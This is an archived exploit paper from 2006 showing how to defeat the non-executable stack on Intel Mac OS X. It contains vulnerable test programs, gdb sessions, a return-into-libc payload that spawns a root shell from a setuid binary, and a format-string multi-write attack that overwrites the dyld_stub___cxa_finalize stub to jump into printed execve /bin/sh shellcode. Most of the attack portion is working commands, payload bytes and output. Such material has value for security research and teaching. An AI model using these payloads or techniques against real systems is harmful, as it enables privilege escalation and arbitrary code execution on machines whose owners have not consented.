Non eXecutable Stack Lovin on OSX86

EDB-ID:

13179

CVE:

N/A


Platform:

Multiple

Published:

2006-05-30

				     Non eXecutable Stack Lovin on OSX86 
		                        kf[at]digitalmunition[dot]com
					         05/18/06

After my obligatory Cinco De Mayo Corona hangover had passed, I decided it was time to score a little 
Non eXecutable Mac Mini Hotness from my local Apple retailer. After calmly explaining to the salesman 
"NO, I don't want a keyboard OR a mouse... no monitor! NO extra ram either, JUST the MacMini!" I made 
my purchase and returned home quickly. 

Before I knew it the OS was installed and it was time to lift up the Mini's skirt and see what was 
going on behind the scenes. The first thing I wanted to do was verify that the non executable stack 
was actually doing what it was designed to do. Simply creating a vulnerable program and trying to run 
code from the stack was enough to validate that Apple had at the very least made proper use of the NX 
flag in their intel product line. 

k-fs-computer:~ kf$ cat > test.c
// make me setuid root 
main(int *argc, char **argv)
{
char buf[200];
sprintf(buf, "%s", argv[1]);
printf("test\n");
printf("buf: %s\n", buf);
return 0;
}

k-fs-computer:~ kf$ cc -o test test.c
test.c: In function 'main':
test.c:4: warning: incompatible implicit declaration of built-in function 'sprintf'
test.c:5: warning: incompatible implicit declaration of built-in function 'printf'

k-fs-computer:~ kf$ gdb -q ./test
Reading symbols for shared libraries .. done
(gdb)  `perl -e 'print "A" x 212 . "ABCD"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /Users/kf/test `perl -e 'print "A" x 212 . "ABCD"'`
test
buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x44434241
0x44434241 in ?? ()

After locating the length to overwrite eip we simply need to locate our string and 
try to return into it. 

(gdb) x/2s $edi
0xbffffbcc:      "/Users/kf/test"
0xbffffbdb:      'A' <repeats 200 times>...

(gdb) r `perl -e 'print "A" x 212 . pack('l', 0xbffffbdb)'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /Users/kf/test `perl -e 'print "A" x 212 . pack('l', 0xbffffbdb)'`
test
buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0xbffffbdb
0xbffffbdb in ?? ()

As you can see from the KERN_PROTECTION_FAILURE Apple has done a successful job at implementing the 
Intel NX bit support in OSX. The presence of the NX bit alone however does not mean that OSX is 
immune to code execution attacks. 

Classic non executable stack bypass techniques involve return into libc based exploits and OSX is 
not exempt from this style of attack by any means. The KERN_PROTECTION_FAILURE failure we experienced
above can in theory be bypassed by doing a simple return into system(). In practice it seems to work 
quite well. 

Plenty of papers outline the methods involved in return into system() style attacks so I won't go into
them here. In essence what we need is for the buffer to have the following structure: 
< Ax212 > < system address > < exit address > < /bin/sh address > 

(Thanks to JohnH - john@jbhale.com for reminding me of the *proper* place to stash "/bin/sh" )  

Once everything is in place we are ready to rock, no shellcode hassle and no KERN_PROTECTION_FAILURE
k-fs-computer:~ kf$ export SSH_CLIENT="         /bin/sh -i             "
k-fs-computer:~ kf$ ./test `perl -e 'print "A"x212 . pack('l',0x90047530) . pack('l', 0x90010bf0) . 
pack('l',0xbffffd02)'`
test
buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...

               ýÿ¿
sh-2.05b# id
uid=501(kf) gid=501(kf) euid=0(root) groups=501(kf), 81(appserveradm), 79(appserverusr), 80(admin)

This should come as no shock... this technique is nothing new, but we should keep in mind that this
IS an option for future exploits to take advantage of. 

Having got *that* out of the way I wanted to get a little closer with my Mini, you know *really* 
get to know her. Since I had already peaked under the skirt a bit I decided it was time for the 
clothes to come completely off. =] 

Consider this example program, how exactly can we make it give us some lovin?  

#include    <stdio.h>
#define     BUFLEN 1024
int main(void)
{
        char buf[BUFLEN];
        while(fgets(buf,BUFLEN,stdin) != NULL){
                printf(buf);
                printf("\n");
        }
        return 0;
}

If this were a linux box I would simply start down the path of overwriting the .dtors section. Since 
we are on an OSX machine this is simply not an option as .dtors does not exist (unless you are using 
Objective-C?). Saved return addresses were an option I could explore however I wanted to find a more 
universal address to overwrite. After some poking around I decided that dyld_stubs seemed ripe for 
exploitation, they seem to be at fairly static across various updates to OSX and the addresses are 
the same for all binaries. 

Between 0xa0011000 and 0xa00126f0 we find multiple addresses that can be overwritten. Since the sample 
I used was a simple local vulnerability overwriting something associated with the exit() routine seemes 
to make the most sense. The stub for cxa_finalize() makes a good target for local exploitation as it is 
called by exit().  

0x90010ae3 <exit+19>:   call   0xa00119f1 <dyld_stub___cxa_finalize>

dlyd_stub___cxa_finalize() simply contains an instruction to jump into the real __cxa_finalize() code. 

(gdb) x/i dyld_stub___cxa_finalize
0xa00119f1 <dyld_stub___cxa_finalize>:  jmp    0x90010aff <__cxa_finalize>

If we overwrite this instruction (and consequently the one after it) with our own jmp code we can 
effectively take control of our target program. Attempting to jump into our format string would do us 
no good in this case due to the fact that it is located on the programs stack. 

k-fs-computer:~ kf$ echo AAAABBBB%x.%x.%x.%x.%x | ./test3
AAAABBBB400.a0001bc0.0.41414141.42424242

k-fs-computer:~ kf$ ulimit -c 10000000
k-fs-computer:~ kf$ echo AAAABBBB%x.%x.%x.%n.%n | ./test3
Segmentation fault (core dumped)
k-fs-computer:~ kf$ gdb -q ./test3 /cores/core.10089
Reading symbols for shared libraries .. done
Core was generated by `./test3'.
#0  0x9000cd50 in __vfprintf ()

(gdb) x/10s $esi-16
0xbffff920:      "AAAABBBB%x.%x.%x.%n.%n\n"

Jumping into 0xbffff920 would only result in the KERN_PROTECTION_FAILURE we recieved earlier. Because of 
this we will need some other location to stash shellcode. We want lovin but we won't get it this way. 

Using vmmap we can locate a potential area to overwrite.

In this particular instance we are going to take advantage of the fact that we can write to the __IMPORT 
region and leverage that as a springboard into the MALLOC region. The only problem at this point is how 
do we get shellcode into the MALLOC region? 

k-fs-computer:~ kf$  vmmap 10112
Virtual Memory Map of process 10112 (bash)
Output report format:  2.0
==== Non-writable regions for process 10372
...
__IMPORT               a0011000-a0013000 [    8K] r-x/r-x SM=COW  /usr/lib/libSystem.B.dylib

...
==== Writable regions for process 10118
MALLOC                 01800000-02008000 [ 8224K] rw-/rwx SM=PRV  DefaultMallocZone_0x300000
...

Since we are dealing with a format string vulnerability this seems like a classic time to attempt a 
multi write format string attack. In essence we will need to perform 16 writes to both the MALLOC and
__IMPORT regions. We will have to make 12 seperate writes to get Nemo's x86 execve placed in the MALLOC
region and then 2 more for the jump code. Keeping in mind NULL characters I chose to go with 0x01811111 
as my write address for the execve() code. We want this area of memory to look as follows: 

0x1811111:      0xc031
0x1811113:      0x6850
0x1811115:      0x2f2f
0x1811117:      0x6873
0x1811119:      0x2f68
0x181111b:      0x6962
0x181111d:      0x896e
0x181111f:      0x50e3
0x1811121:      0x5454
0x1811123:      0x5353
0x1811125:      0x3bb0
0x1811127:      0x80cd

In essence this will create the following in memory: 

// Shellcode by Nemo - nemo[at]felinemenace[dot]org
// execve of /bin/sh
// OSX x86
// Reworked BSD code from Metasploit ?  
 
char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x54\x54\x53\x53\xb0\x3b\xcd\x80";

int main(int ac, char **av)
{
        void (*fp)() = shellcode;
        fp();
}

Next we want the jumpcode located at dyld_stub___cxa_finalize() to looks like this:

0xa00119f1 <dyld_stub___cxa_finalize>:  0x11b8
0xa00119f3 <dyld_stub___cxa_finalize+2>:        0x8111
0xa00119f5 <dyld_stub___cxa_finalize+4>:        0xff01
0xa00119f7 <dyld_stub__dyld_get_image_header_containing_address+1>:     0x00e0

These bytes will translate into our jump to 0x1811111.

(gdb) x/i 0xa00119f1
0xa00119f1 <dyld_stub___cxa_finalize>:  mov    $0x1811111,%eax
0xa00119f6 <dyld_stub__dyld_get_image_header_containing_address>:       jmp    *%eax

Putting this all together we wind up with a nice way to bypass the NX flags and get a little 
Non eXecutable Lovin. 

For what ever reason there is currently some issue with this particular example calling /bin/sh
because of this I will temporarily replace /bin/sh with /usr/bin/id. I have already invested
quite a bit of time into this and quite honestly don't feel like debuging what is going on. I 
got my Lovin... if you want your own feel free to dive in. 

k-fs-computer:~ kf$ sudo chown root: /Users/kf/dyld_stub_overwrites/test3
k-fs-computer:~ kf$ sudo chmod 4755 /Users/kf/dyld_stub_overwrites/test3
k-fs-computer:~ kf$ sudo cp /usr/bin/id /bin/sh

Regardless of that minor triviality we can see that we are able to execute code despite the NX
flag being present. Our Lovin has arrived. 

k-fs-computer:~/dyld_stub_overwrites kf$ ./multiwrite.pl > file
k-fs-computer:~/dyld_stub_overwrites kf$ ./test3 < file
...
00000000000001610540555

uid=501(kf) gid=501(kf) euid=0(root) groups=501(kf), 81(appserveradm), 79(appserverusr), 80(admin)

The goal of this text is to show that unlike some folks would like you to believe the move to x86 
architecture really does open up new avenues of exploitation for OSX systems. Although the NX bit 
ups the bar it does not prevent exploitation. 

I would like to take the time to once again thank John Hale for all of his help. Not only do you
point out my mistakes, but your code snippets help make me a lazy man. 

Much thanks also goes to Nemo of Feline Menace for the OSX x86 shellcode and other suggestions.

Example exploit code can be located at: http://www.digitalmunition.com/dyld_stub_overwrites.tar.gz

Enjoy it while you can folks... I have a feeling that both shared library and heap randomization
are on the way.

# milw0rm.com [2006-05-30]